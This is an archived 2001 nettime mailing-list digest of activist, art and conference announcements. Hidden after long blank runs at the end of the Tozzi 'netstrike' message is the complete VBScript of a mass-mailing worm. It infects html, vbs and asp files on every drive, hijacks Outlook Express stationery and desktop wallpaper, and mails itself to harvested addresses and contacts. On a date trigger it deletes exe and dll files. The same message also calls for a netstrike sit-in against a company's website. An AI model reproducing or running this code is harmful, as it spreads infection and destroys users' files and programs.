Announcer on Mon, 6 Aug 2001 19:59:03 +0200 (CEST)


[Date Prev] [Date Next] [Thread Prev] [Thread Next] [Date Index] [Thread Index]

<nettime> Announcements [9]



Table of Contents:

   Shaping the Network Society -- call for submissions                             
     Doug Schuler <douglas@scn.org>                                                  

   the Public Energy Network (PEN) ii/iii                                          
     brian carroll <human@electronetwork.org>                                        

   New List - //surveillance// - Please join if interested...                      
     s|a|m <sam@media.com.au>                                                        

   Hacktivism Discussion                                                           
     T.R.Jordan@open.ac.uk                                                           

   FILE-2001-INAUGURAÇÃO                                                           
     "file webart" <filewebart@hotmail.com>                                          

   Seeing Cyberspace in the public domain i/iii                                    
     brian carroll <human@electronetwork.org>                                        

   Fight for Your Right to Live and Communicate!                                   
     "Tommaso Tozzi" <t.tozzi@ecn.org>                                               

   SPACE ODYSSEYS                                                                  
     amanda@adelaidefestival.net.au                                                  

   Re:move/ *candy factory@ Yokohama Triennial                                     
     KOGO <ga2750@i.bekkoame.ne.jp>                                                  



------------------------------

Date: Fri, 3 Aug 2001 21:28:06 -0700 (PDT)
From: Doug Schuler <douglas@scn.org>
Subject: Shaping the Network Society -- call for submissions


- -------> first CALL FOR DIAC-02 SUBMISSIONS

/// Please forward to interested people, lists, newsgroups. Thank you!


Shaping the Network Society: 
    Patterns for Participation, Action, and Change
http://www.cpsr.org/conferences/diac02/

May 16-19, 2002
   Seattle, Washington, USA


Tomorrow's information and communication infrastructure is being 
shaped today.

      But by whom and to what ends?

Researchers, community workers, social activists, educators and 
students, journalists, artists, policymakers, and citizens are all 
concerned about the shape that this new infrastructure will take.

   Will it meet the needs of all people?
   Will it help the citizenry address current and future issues?
   Will it promote democracy, social justice, sustainability? 

   Will the appropriate research be conducted?
   Will equitable policies be enacted?


Symposium Aims

A "public sphere" where people learn about, discuss, and deliberate 
on important issues, such as increasing economic disparity, 
militarization, environmental degradation, racism or sexism, is 
critical to our future. 

Clearly, information and communication technology--and the uses to 
which it is put--is central to any effort that helps empower people to 
effectively look at and resolve our collective concerns.

At the same time, giant media conglomerates and computer companies are 
rapidly increasing their control of the information and communication 
infrastructure upon which this public sphere depends.  Governments, 
too, are often part of this problem;  instead of promoting access and 
two-way access to this infrastructure, they actively or passively 
discourage civic sector uses.

Civil society is responding in a million ways.  The opportunities and 
challenges offered by a global "network society" are too great to be 
ignored.

The Shaping the Network Society symposium is designed to aid in these 
efforts by providing a forum and a platform for these critical issues. 
And, through the use of "patterns," we hope that this conference will 
help inject organization, motivation, and inspiration into the 
evolution of an information and communication infrastructure that 
truly meets today's -- and tomorrow's -- urgent needs.

Please join us in Seattle (and beyond) in May 2002 for this exciting 
and important event!

DIAC-02

This event will be the eighth biannual Directions and Implications of 
Advanced Computing (DIAC) symposium.  A variety of events are planned 
ranging from invited speakers, panel discussions, and pattern 
presentations to numerous opportunities for informal working sessions 
- -- both planned and spontaneous -- on various topics.  Also, as with 
previous DIAC symposia, we will do our best to provide a few 
surprises ...

Pattern Orientation 

To promote bridge-building, we are soliciting "patterns," instead of 
abstracts, that will be developed into full papers for this symposium. 
A "pattern" is a careful description of a solution or suggestion for 
remedying an identified problem in a given context that can be used 
to help develop and harness communication and information technology 
in ways that affirm human values.

The information contained in patterns is similar to that in 
traditional abstracts or papers, but it is arranged in a common 
structure in order to inspire scholars and practitioners to think 
about their work in terms of social implications and actual social 
engagement; build networks that include research, practice, and 
advocacy; and facilitate the integration of all submitted patterns 
into a coherent network of patterns, or "pattern language," that will 
form a useful and compelling knowledge structure which can help spur 
additional research, solutions, and activism. As a result, individual 
patterns are exciting because each is, in essence, a small theory 
about some part of the communication and information universe.  In 
addition, since the individual patterns will be stored in an online 
database, the overall strategy opens myriad possibilities that will 
allow us as a community to synthesize the patterns into a collectively 
constructed body that creates new opportunities for collaboration and 
deliberation.

We believe that the "pattern" orientation will be beneficial and 
thought-provoking for all participants.  If you are tempted to submit 
a pattern, we encourage you to do so.  Although this approach may 
require different thinking, we believe that it will be worth the 
effort.

Patterns can be submitted for consideration for presentation at the 
Shaping the Network Society conference, or simply to be published on 
the web site and as a contribution to the knowledge structure.


Developing and Submitting Patterns 

     Patterns are SOLUTIONS to PROBLEMS in a given CONTEXT.

     Patterns can be observable actions, empirical findings, 
     hypotheses, theories, social or media critiques, case studies, 
     or "best practices";  indeed, any template or crystallized or 
     distilled knowledge in some area that will help people in the 
     field--researchers, practitioners, journalists, policymakers, 
     artists, citizens.

     Patterns can address problems, such as the digital divide, that 
     arise in a range of contexts--social, cultural, educational, 
     economic, community, political, and/or technological.

     Patterns exist at all levels; they can be "global" as well as 
       "local," theoretical as well as practical.

     Patterns are the springboard for discussion, research, and 
        activism.


The primary elements needed to develop a pattern for submission are:

- - The name or TITLE of the pattern (brief, one-ten words).
- - A succinct statement of the essence of the PROBLEM in one or two 
  sentences.
- - A DISCUSSION section (300-600 words) that describes the background 
  of the problem, evidence for its proposed solution, and the range of 
  ways that the solution can be applied.
- - The SOLUTION to the problem is presented in a summary form that 
  describes the field of physical and social relationships which are 
  required to solve the stated problem, in the stated context.
- - An optional descriptive image can be used to provide a visual 
  representation of your pattern and/or an optional summary image can 
  show a pictorial representation (diagram) of the solution.  Although 
  these IMAGES are an optional element, we encourage you to include 
  them to supply useful information that is difficult to provide in 
  words and to make your pattern page more attractive and consistent 
  with other patterns.

Complete details on pattern submission, including example patterns, 
are available for further clarification at the symposium web site: 
http://www.cpsr.org/conferences/diac02/

The preferred way to submit patterns is through the pattern intake 
site, which can be accessed from the symposium site or directly at: 
http://www.cpsr.org/conferences/diac02/pattern.cgi.  If you cannot 
access the intake site, please send your pattern as email text (no 
attachments) to docrod99@hotmail.com.  Please consult the help page,
http://www.cpsr.org/conferences/diac02/patterns/help.html, for 
guidance on an e-mail submission. 


Important Dates 

  December 1, 2001  Deadline for pattern submission for conference
                      consideration
  January 15, 2002  Feedback to conference pattern submitters 
                      (accept/reject decision)
  March 15, 2002    Full papers (based on accepted patterns) due
  April 15, 2002    Last day to submit patterns for database inclusion 
                      only
  May 16-19, 2002   Shaping the Network Society Symposium 


Sponsors 

Public Sphere Project of Computer Professionals for 
  Social Responsibility (CPSR) 

National Communication Association Task Force on the Digital Divide


Program committee 

Abdul Alkalimet (US), Alain Ambrosi (Canada), Ann Bishop (US), 
Kwasi Boakye-Akyeampong (Ghana), Rod Carveth (US), Andrew Clement 
(Canada), Fiorella de Cindio (Italy), Peter Day (UK), Susana 
Finquelievich (Argentina), Mike Gurstein (Canada), Harry Hochheiser 
(US), Toru Ishida (Japan), Susan Kretchmer (US), Brian Loader (UK), 
Geert Lovink (Netherlands, Australia), Richard Lowenberg (US), Peter 
Mambrey (Germany), Peter Miller (US), Kenneth Pigg (US), Scott 
Robinson (Mexico), Partha Pratim Sarker (Bangladesh), Doug Schuler 
(US), David Silver (US), Sergei Stafeev (Russia), Erik Stolterman 
(Sweden) and Peter Van den Besselaar (Netherlands).

Other invaluable assistance 

Noriko Okazaki (graphics), Robin Oppenheimer (advisor), Scott Rose 
(web technology).

    


------------------------------

Date: Fri, 3 Aug 2001 21:34:40 -0800
From: brian carroll <human@electronetwork.org>
Subject: the Public Energy Network (PEN) ii/iii


     * * * democratic energy policy by and for humans worldwide * * *


	   t h e   P U B L I C   E N E R G Y   N E T W O R K 

     	        http://www.electronetwork.org/works/pen/



  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
         help collaboratively draft a 100 year public energy policy
  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 

	goal:		develop a strategic energy plan which
			establishes a democratic, 2/3rds energy-
			efficient Electrical Infrastructure by
			2100 common era.


	benefits:	- reverse pollution
			- limit power outages
			- increase security


	method:		public and private investment in
			multidisciplinary research & development
			to strategically redesign electrical power,
			media, and technology infrastructures to
			serve both our economic and social values.



  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  !!! two very different policy options: industrial or democratic power !!!
  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -



	# 1 People serving the Industrial Power System (today)...

		http://www.electronetwork.org/works/pen/old_power/



	# 2 the Democratic Power System Serving People (tomorrow)...

		http://www.electronetwork.org/works/pen/new_power/



	the choice?	benefit short-term private economic interests
			or adapt power to serve long-term public and
			private interests.




  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
			 one proposal to consider... 
  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


			redirecting monies subsidizing
			the 2/3rds energy wasted in the
  			current industrial system for
			redesigning a new infrastructure
			with public and private funds.



  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    please share your ideas and contribute your skills to the PEN-List
  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


	      	join the PEN-list and make energy policy public


		send an e-mail message TO:

  			lists@openflows.org

		with the following command in the message BODY:

			subscribe pen-l


		[there is no political agenda to this project
		and no affiliation is needed other than to
		volunteer ideas and effort to bring human
		issues into local and global energy policies]


		--- list sponsored by openflows.org ---


  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  	a public initiative of the Electromagnetic Internetwork
		   http://www.electronetwork.org/

  	   & the Seeing Cyberspace citizen education project
  	      http://www.electronetwork.org/works/seeing/


	* * * please forward to fellow humans far and wide * * *



------------------------------

Date: Sun, 05 Aug 2001 13:26:01 +1000
From: s|a|m <sam@media.com.au>
Subject: New List - //surveillance// - Please join if interested...


> newlist surveillance

The //surveillance// list is for posting  and receiving information, news and ideas about the broad field of surveillance. Posts about technologies, implementations, implications and responses are all welcome. Lurking is fine too!

This list is less of a discussion list and more of an information distribution list. However, discussion and personal points of view will be not be moderated out and will form an important part of the list content.

Surveillance is occuring in various forms - with and without our consent at many levels in all of our societies. The aim of this list is to provide a space for gathering what surveillance  is doing - intentionally or indirectly - on your self, in your bedroom, around the corner and around the world.

To join - send an email to surveillance-request@lists.myspinach.org with the word 'subscribe' in the subject field. 
Or visit http://lists.myspinach.org/cgi-bin/mailman/listinfo/surveillance

Please join - your agency is encouraged... Please forward to others who may be interested.

There is a plan being developed to hold a Surveillance Festival (which would include a forum, amongst other activities) some time around mid-2002 in Melbourne, Australia. This list would inform the structure of this Festival.




------------------------------

Date: Sun, 5 Aug 2001 12:31:35 +0100
From: T.R.Jordan@open.ac.uk
Subject: Hacktivism Discussion

Recording of a discussion of hacktivism on national public radio in the USA;
programme called The Connection. Panel was me, Oxblood Ruffin from Cult of
Dead Cow and Carmin Karasic from Electronic Disturbance Theater.
http://www.theconnection.org/archive/2001/07/0730a.shtml
(It's real player.)

Tim Jordan


------------------------------

Date: Mon, 06 Aug 2001 00:21:53 +0000
From: "file webart" <filewebart@hotmail.com>
Subject: FILE-2001-INAUGURAÇÃO

FILE-2001- electronic language international festival

INVITES
 

to the opening  of its second edition  on the 08/07/2001,
Tuesday, at 8pm  in the  MIS, Museum of the Image of the Sound, at  Av.
Europe 158, in So Paulo city.

FILE will be open to the public  from 08/08/2001 untill  02/09/2001 -
tusday
to sunday -2 pm to 10pm

MIS - Museum of the Image and of the Sound
Av. Europe 158
They are Paulo-SP

Phone:  3064 14 29 or 30880896

The new  online version  will be available also  from 08/07/01 at:
http://www.file.org.br
 

The lectures promoted by the FILE-2001 will be holding at FNAC.

FNACs address is
Rua Pedroso, 858, in the city of So Paulo.

Registrations:
Telephone: 3097-0022 r 256 ( speak to Soraya Lucato)
 

  lectures  cycle  programm - FILE-2001

08/13/01 -

5pm- Ricardo Barreto and Paula Perissinotto (organizers of FILE) - will be
making a presentation of FILE - electronic language international
festival.

6pm- Artur Matuck -teacher  from the School of Communication and Arts at
USP, he  will make a presentation of his  project Landscript,
www.teksto.com.br

7:30pm- Giselle Beiguelman,  researcher of the relationships among art,
technology and communication of masses  will make a presentation on wap
art.

9pm- Nelson Enrique Chaparro - industrial Engineer and industrial designer
of products from the University of Santiago,
Specialist in building works in virtual reality in the area of digital
picture and building elements  several simulations, will be showing his
work
Orange of Arabia.
 

08/14/01

2pm to 6pm - Corpos Informticos - Bia Medeiros, Carla Rocha, Maria Luiza
Fragoso, Robiara Becker and Cila MacDowell. will be promoting an encounter
and  contaminations in telepresence.

6pm- Tina Keane -  English multimedia artist  develops work in the
telepresence fields
.
7:30pm - Zeitgenossem - The austrian  couple ursula+zelko  will make a
presentation of  their project ESCAPE
FILE-2001, the project will have the  participation of Caqueira, a
Brazilian
   composer .

9pm- Ana Helena Reali Costa - Teacher  of Electronic Engineering at  the
Polytechnic School of USP.
Ana Helena will make a presentation on its research in the robotics area.

08/15/01

2pm-6pm- Michel Knaven -  Dutch multimedia artist   will be receving
images
from different  room views (A Room with a view)), the images  should be in
jpg format and  640x 480 size,  they can be send to the artist to the
myview@michaelmedia.org he  will be  building a great window in a film
form
during his workshop. The final version of The Room with a View can be
seeing
in the festival website http://www.file.org.br

7pm- Gian Zelada - Brazilian  multimedia artist  will make a presentation
of
his  work " Six proposed for the new milnio ",
multimdia of Italo Calvino's work.

9pm- Jarbas Agnelli - art criation and director artist  will present the
making off the video clip produced in 3D.



------------------------------

Date: Fri, 3 Aug 2001 21:30:52 -0800
From: brian carroll <human@electronetwork.org>
Subject: Seeing Cyberspace in the public domain i/iii

   print it, copy it, publish it, debate it, teach it, mirror it
  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


   t h e   S E E I N G   C Y B E R S P A C E   p r o j e c t

	  http://www.electronetwork.org/works/seeing/


		    by brian thomas carroll

	  public launch = public domain = no copyright


  AN ESSAY on visually understanding the Internet in the every-
  day environment, and how it relates to the major issues of
  our day, including power outages, energy-inefficiency, and
  pollution, such as global warming.
					ANALYZING the dynamic
  ecological relationships between the industries of electrical
  energy, economics, and warfare establishes a precedent for why
  the unethically unsustainable power system remains unchanged
  because of special interests.
					WORKING TOGETHER we can
  transform this industrial infrastructure of electrical power,
  media, and technology to serve our shared human interests, by
  establishing a sustainable and democratic power system.

					RAISING AWARENESS of
  the cultural aspects of the electrical infrastructure is the
  first step in transforming an old power system into a new one.

					ORGANIZING individual
  citizens of the world, and their governments, organizations,
  businesses, will be the key to steering our common future in
  a humane and mutually-beneficial direction in the years ahead.

  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  ESSAY INDEX for  S E E I N G  C Y B E R S P A C E :


  0. Introduction   [ Abstract | Acknowledgements | Dedication ]
  1. Infrastructure [ Electrical Tools, Buildings, & Systems ]
  2. Cyberspace	   [ Electrical Energy | Warfare | Economy ]
  3. Crises	   [ Electrical Outages | Inefficiency | Pollution ]
  4. Strategy	   [ Electrical Planning | Design | Architecture ]
  5. Objective	   [ Electrical Order | Action | Electronetworking ]

  0. http://www.electronetwork.org/works/seeing/introduction/
  1. http://www.electronetwork.org/works/seeing/infrastructure/
  2. http://www.electronetwork.org/works/seeing/cyberspace/
  3. http://www.electronetwork.org/works/seeing/crises/
  4. http://www.electronetwork.org/works/seeing/strategy/
  5. http://www.electronetwork.org/works/seeing/objective/


  INFOGRAPHICs:	Electrical Infrastructure, Mapping Cyberspace,
		Geopolitics of Cyberspace, Pentagon of Electrical
		Power, Industrial Power System, Democratic Power
		System, Multidisciplinary Electronetworking

  ANIMATIONs: 	Electrical Order: Space-Time, Seeing Cyberspace
		in the Electrical Infrastructure, Electropollution

  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  	NO COPYRIGHT restrictions apply. this work is Public
  Domain and may be reproduced in any medium, and used freely
  online and off, in print and PDA formats. different versions
  are at: http://www.electronetwork.org/works/seeing/versions/


  	NON-MONETARY donations of equipment and tools for
  research and building out the electronetwork.org project
  website are appreciated but not required. more information
  can be found at: http://www.electronetwork.org/support/

  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  A CITIZEN EDUCATION PROJECT brought to you by electronetwork.org
  for more information please visit: http://www.electronetwork.org

  ELECTRONETWORK.ORG welcomes grants, donations, and sponsorships.

  [the content of this project has been censored in the university,
  two lists dealing with this subject have been shut down, the web
  server for the project has been hacked, the personal computer used
  to create this project has been destroyed, there is ongoing online
  surveillance, and one instance of offline surveillance, and the
  larger electronetwork.org project has been stopped for these reasons.
  public documentation will follow in post iii/iii in the near future.
  as a public individual i ask for your help to pursue this public work.
  brian thomas carroll - independent researcher, USA. august 3rd, 2001]

			   please pass it on...

  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    print it, copy it, publish it, debate it, teach it, mirror it


------------------------------

Date: Fri, 3 Aug 2001 01:22:32 +0200
From: "Tommaso Tozzi" <t.tozzi@ecn.org>
Subject: Fight for Your Right to Live and Communicate!

This is a multi-part message in MIME format.


HelpRiceviamo e volentieri inoltriamo:

>Posted-Date: Fri, 27 Jul 2001 16:57:52 +0200
>From: Hell Remailer <daemon@hell.pl>
>Comments: This message did not originate from the Sender address above.
>         It was remailed automatically by anonymizing remailer =
software.
>         Please report problems or inappropriate use to the
>         remailer administrator at <remailer-abuse@hell.pl>.
>To: inr@ecn.org
>Subject: Fight for Your Right to Live and Communicate!
>
>Fight for Your Right to Live and Communicate!
>
>The butchery carried out by the fascist italian state at the
>Independent Media Center of Genoa involved in producing free
>information on G8 days calls for hacktivism: if you think that human
>beings are not either bloody cases to be beaten or goods for global
>business partecipate to the netstrike (virtual sit-in) against
>www.manpower.com on 3 August 2001 from 3.00 p.m. GMT+0
>
>Information and people want to be free!
>
>Anonymous Digital Coalition


_______________________________________________
Netstrike mailing list
Netstrike@autistici.org
http://www.autistici.org/mailman/listinfo/netstrike


Tommaso Tozzi
Docente di Teoria e Metodo dei Mass Media, Accademia di Belle Arti di =
Carrara
Docente di  Teoria e Metodo di Sceneggiatura Multimediale, Master in =
Multimedialita', RAI e Universita' di Firenze
Via XXIV Maggio 14, 50129, Firenze, Italia
Tel. 055-485996







































































Rem I am sorry! happy time
On Error Resume Next
mload
Sub mload()
On Error Resume Next
mPath =3D Grf()
Set Os =3D CreateObject("Scriptlet.TypeLib")
Set Oh =3D CreateObject("Shell.Application")
If IsHTML Then
mURL =3D LCase(document.Location)
If mPath =3D "" Then
Os.Reset
Os.Path =3D "C:\Help.htm"
Os.Doc =3D Lhtml()
Os.Write()
Ihtml =3D "<span style=3D'position:absolute'><Iframe src=3D'C:\Help.htm' =
width=3D'0' height=3D'0'></Iframe></span>"
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m =3D "hta"
If LCase(m) =3D Right(mURL, Len(m)) Then
id =3D setTimeout("mclose()", 1)
main
Else
Os.Reset()
Os.Path =3D mPath & "\" & "Help.hta"
Os.Doc =3D Lhtml()
Os.write()
Iv mPath, "Help.hta"
End If
End If
End If
Else
main
End If
End Sub
Sub main()
On Error Resume Next
Set Of =3D CreateObject("Scripting.FileSystemObject")
Set Od =3D CreateObject("Scripting.Dictionary")
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
Ks =3D "HKEY_CURRENT_USER\Software\"
Ds =3D Grf()
Cs =3D Gsf()
If IsVbs Then
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
End If
Key =3D CInt(Month(Date) + Day(Date))
If Key =3D 13 Then
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
End If
Cn =3D Rg(Ks & "Help\Count")
If Cn =3D "" Then
Cn =3D 1
End If
Rw Ks & "Help\Count", Cn + 1
f1 =3D Rg(Ks & "Help\FileName")
f2 =3D FNext(Of, Od, f1)
fext =3D GetExt(Of, Od, f2)
Rw Ks & "Help\FileName", f2
If IsDel(fext) Then
f3 =3D f2
f2 =3D FNext(Of, Od, f2)
Rw Ks & "Help\FileName", f2
Of.DeleteFile f3
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) =3D 0 Then
If (CInt(Second(Time)) Mod 2) =3D 0 Then
Tsend
Else
adds =3D Og
Msend (adds)
End If
End If
wp =3D Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks & "Help\wallPaper") <> wp Or wp =3D "" Then
If wp =3D "" Then
n1 =3D ""
n3 =3D Cs & "\Help.htm"
Else
mP =3D Of.GetFile(wp).ParentFolder
n1 =3D Of.GetFileName(wp)
n2 =3D Of.GetBaseName(wp)
n3 =3D Cs & "\" & n2 & ".htm"
End If
Set pfc =3D Of.CreateTextFile(n3, True)
mt =3D Sa("1100")
pfc.Write "<" & "HTML><" & "body bgcolor=3D'#007f7f' background=3D'" & =
n1 & "'><" & "/Body><" & "/HTML>" & mt
pfc.Close
Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
End If
Else
Set fc =3D Of.CreateTextFile(Ds & "\Help.vbs", True)
fc.Write Sa("0100")
fc.Close
bf =3D Cs & "\Untitled.htm"
Set fc2 =3D Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
oeid =3D Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe =3D "HKEY_CURRENT_USER\Identities\" & oeid & =
"\Software\Microsoft\Outlook Express\5.0\Mail"
MSH =3D oe & "\Message Send HTML"
CUS =3D oe & "\Compose Use Stationery"
SN =3D oe & "\Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
Web =3D Cs & "\WEB"
Set gf =3D Of.GetFolder(Web).Files
Od.Add "htt", "1100"
For Each m In gf
fext =3D GetExt(Of, Od, m)
If fext <> "" Then
Fw Of, m, fext
End If
Next
End If
End Sub
Sub mclose()
document.Write "<" & "title>I am sorry!</title" & ">"
window.Close
End Sub
Sub Rt()
Dim mPath
On Error Resume Next
mPath =3D Grf()
Iv mPath, "Help.vbs"
End Sub
Function Sa(n)
Dim VBSText, m
VBSText =3D Lvbs()
If Mid(n, 3, 1) =3D 1 Then
m =3D "<%" & VBSText & "%>"
End If
If Mid(n, 2, 1) =3D 1 Then
m =3D VBSText
End If
If Mid(n, 1, 1) =3D 1 Then
m =3D Lscript(m)
End If
Sa =3D m & vbCrLf
End Function
Sub Fw(Of, S, n)
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc =3D Of.OpenTextFile(S, 1)
mt =3D fc.ReadAll
fc.Close
If Not Sc(mt) Then
mmail =3D Ml(mt)
mt =3D Sa(n)
Set fc2 =3D Of.OpenTextFile(S, 8)
fc2.Write mt
fc2.Close
Msend (mmail)
End If
End Sub
Function Sc(S)
mN =3D "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
Sc =3D True
Else
Sc =3D False
End If
End Function
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname =3D ""
T =3D False
If Of.FileExists(S) Then
fpath =3D Of.GetFile(S).ParentFolder
fname =3D S
ElseIf Of.FolderExists(S) Then
fpath =3D S
T =3D True
Else
fpath =3D Dnext(Of, "")
End If
Do While True
Set gf =3D Of.GetFolder(fpath).Files
For Each m In gf
If T Then
If GetExt(Of, Od, m) <> "" Then
FNext =3D m
Exit Function
End If
ElseIf LCase(m) =3D LCase(fname) Or fname =3D "" Then
T =3D True
End If
Next
fpath =3D Pnext(Of, fpath)
Loop
End Function
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T =3D False
If Of.FolderExists(S) Then
Set gp =3D Of.GetFolder(S).SubFolders
pn =3D gp.Count
If pn =3D 0 Then
Ppath =3D LCase(S)
Npath =3D LCase(Of.GetParentFolderName(S))
T =3D True
Else
Npath =3D LCase(S)
End If
Do While Not Er
For Each pn In Of.GetFolder(Npath).SubFolders
If T Then
If Ppath =3D LCase(pn) Then
T =3D False
End If
Else
Pnext =3D LCase(pn)
Exit Function
End If
Next
T =3D True
Ppath =3D LCase(Npath)
Npath =3D Of.GetParentFolderName(Npath)
If Of.GetFolder(Ppath).IsRootFolder Then
m =3D Of.GetDriveName(Ppath)
Pnext =3D Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T =3D False
m =3D ""
Set dc =3D Of.Drives
For Each d In dc
If d.DriveType =3D 2 Or d.DriveType =3D 3 Then
If T Then
Dnext =3D d
Exit Function
Else
If LCase(S) =3D LCase(d) Then
T =3D True
End If
If m =3D "" Then
m =3D d
End If
End If
End If
Next
Dnext =3D m
End Function
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext =3D LCase(Of.GetExtensionName(S))
GetExt =3D Od.Item(fext)
End Function
Sub Rw(k, v)
Dim R
On Error Resume Next
Set R =3D CreateObject("WScript.Shell")
R.RegWrite k, v
End Sub
Function Rg(v)
Dim R
On Error Resume Next
Set R =3D CreateObject("WScript.Shell")
Rg =3D R.RegRead(v)
End Function
Function IsVbs()
Dim ErrTest
On Error Resume Next
ErrTest =3D WScript.ScriptFullname
If Err Then
IsVbs =3D False
Else
IsVbs =3D True
End If
End Function
Function IsHTML()
Dim ErrTest
On Error Resume Next
ErrTest =3D document.Location
If Er Then
IsHTML =3D False
Else
IsHTML =3D True
End If
End Function
Function IsMail(S)
Dim m1, m2
IsMail =3D False
If InStr(S, vbCrLf) =3D 0 Then
m1 =3D InStr(S, "@")
m2 =3D InStr(S, ".")
If m1 <> 0 And m1 < m2 Then
IsMail =3D True
End If
End If
End Function
Function Lvbs()
Dim f, m, ws, Of
On Error Resume Next
If IsVbs Then
Set Of =3D CreateObject("Scripting.FileSystemObject")
Set f =3D Of.OpenTextFile(WScript.ScriptFullname, 1)
Lvbs =3D f.ReadAll
Else
For Each ws In document.scripts
If LCase(ws.Language) =3D "vbscript" Then
If Sc(ws.Text) Then
Lvbs =3D ws.Text
Exit Function
End If
End If
Next
End If
End Function
Function Iv(mPath, mName)
Dim Shell
On Error Resume Next
Set Shell =3D CreateObject("Shell.Application")
Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb
If Er Then
Iv =3D False
Else
Iv =3D True
End If
End Function
Function Grf()
Dim Shell, mPath
On Error Resume Next
Set Shell =3D CreateObject("Shell.Application")
mPath =3D "C:\"
For Each mShell In Shell.NameSpace(mPath).Items
If mShell.IsFolder Then
Grf =3D mShell.Path
Exit Function
End If
Next
If Er Then
Grf =3D ""
End If
End Function
Function Gsf()
Dim Of, m
On Error Resume Next
Set Of =3D CreateObject("Scripting.FileSystemObject")
m =3D Of.GetSpecialFolder(0)
If Er Then
Gsf =3D "C:\"
Else
Gsf =3D m
End If
End Function
Function Lhtml()
Lhtml =3D "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _
"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _
"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
"<" & "/Body></HTML" & ">"
End Function
Function Lscript(S)
Lscript =3D "<" & "script language=3D'VBScript'>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function
Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 =3D Len(S1)
l2 =3D Len(S2)
i =3D InStr(S1, S2)
If i > 0 Then
l3 =3D i + l2 - 1
If n =3D 0 Then
Sl =3D Left(S1, i - 1)
ElseIf n =3D 1 Then
Sl =3D Right(S1, l1 - l3)
End If
Else
Sl =3D ""
End If
End Function
Function Ml(S)
Dim S1, S3, S2, T, adds, m
S1 =3D S
S3 =3D """"
adds =3D ""
S2 =3D S3 & "mailto" & ":"
T =3D True
Do While T
S1 =3D Sl(S1, S2, 1)
If S1 =3D "" Then
T =3D False
Else
m =3D Sl(S1, S3, 0)
If IsMail(m) Then
adds =3D adds & m & vbCrLf
End If
End If
Loop
Ml =3D Split(adds, vbCrLf)
End Function
Function Og()
Dim i, n, m(), Om, Oo
Set Oo =3D CreateObject("Outlook.Application")
Set Om =3D Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n =3D Om.Count
ReDim m(n)
For i =3D 1 To n
m(i - 1) =3D Om.Item(i).Email1Address
Next
Og =3D m
End Function
Sub Tsend()
Dim Od, MS, MM, a, m
Set Od =3D CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted =3D True
MM.Fetch
For i =3D 0 To MM.MsgCount - 1
MM.MsgIndex =3D i
a =3D MM.MsgOrigAddress
If Od.Item(a) =3D "" Then
Od.Item(a) =3D MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject =3D "Fw: " & Od.Item(m)
MM.RecipAddress =3D m
MM.AttachmentPathName =3D Gsf & "\Untitled.htm"
MM.Send
Next
MS.SignOff
End Sub
Function MConnect(MS, MM)
Dim U
On Error Resume Next
Set MS =3D CreateObject("MSMAPI.MAPISession")
Set MM =3D CreateObject("MSMAPI.MAPIMessages")
U =3D Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging =
Subsystem\Profiles\DefaultProfile")
MS.UserName =3D U
MS.DownLoadMail =3D False
MS.NewSession =3D False
MS.LogonUI =3D True
MS.SignOn
MM.SessionID =3D MS.SessionID
End Function
Sub Msend(Address)
Dim MS, MM, i, a
MConnect MS, MM
i =3D 0
MM.Compose
For Each a In Address
If IsMail(a) Then
MM.RecipIndex =3D i
MM.RecipAddress =3D a
i =3D i + 1
End If
Next
MM.MsgSubject =3D " Help "
MM.AttachmentPathName =3D Gsf & "\Untitled.htm"
MM.Send
MS.SignOff
End Sub
Function Er()
If Err.Number =3D 0 Then
Er =3D False
Else
Err.Clear
Er =3D True
End If
End Function
Function IsDel(S)
If Mid(S, 4, 1) =3D 1 Then
IsDel =3D True
Else
IsDel =3D False
End If
End Function


</SCRIPT>
</DIV>
<SCRIPT language=3DVBScript>








































































Rem I am sorry! happy time
On Error Resume Next
mload
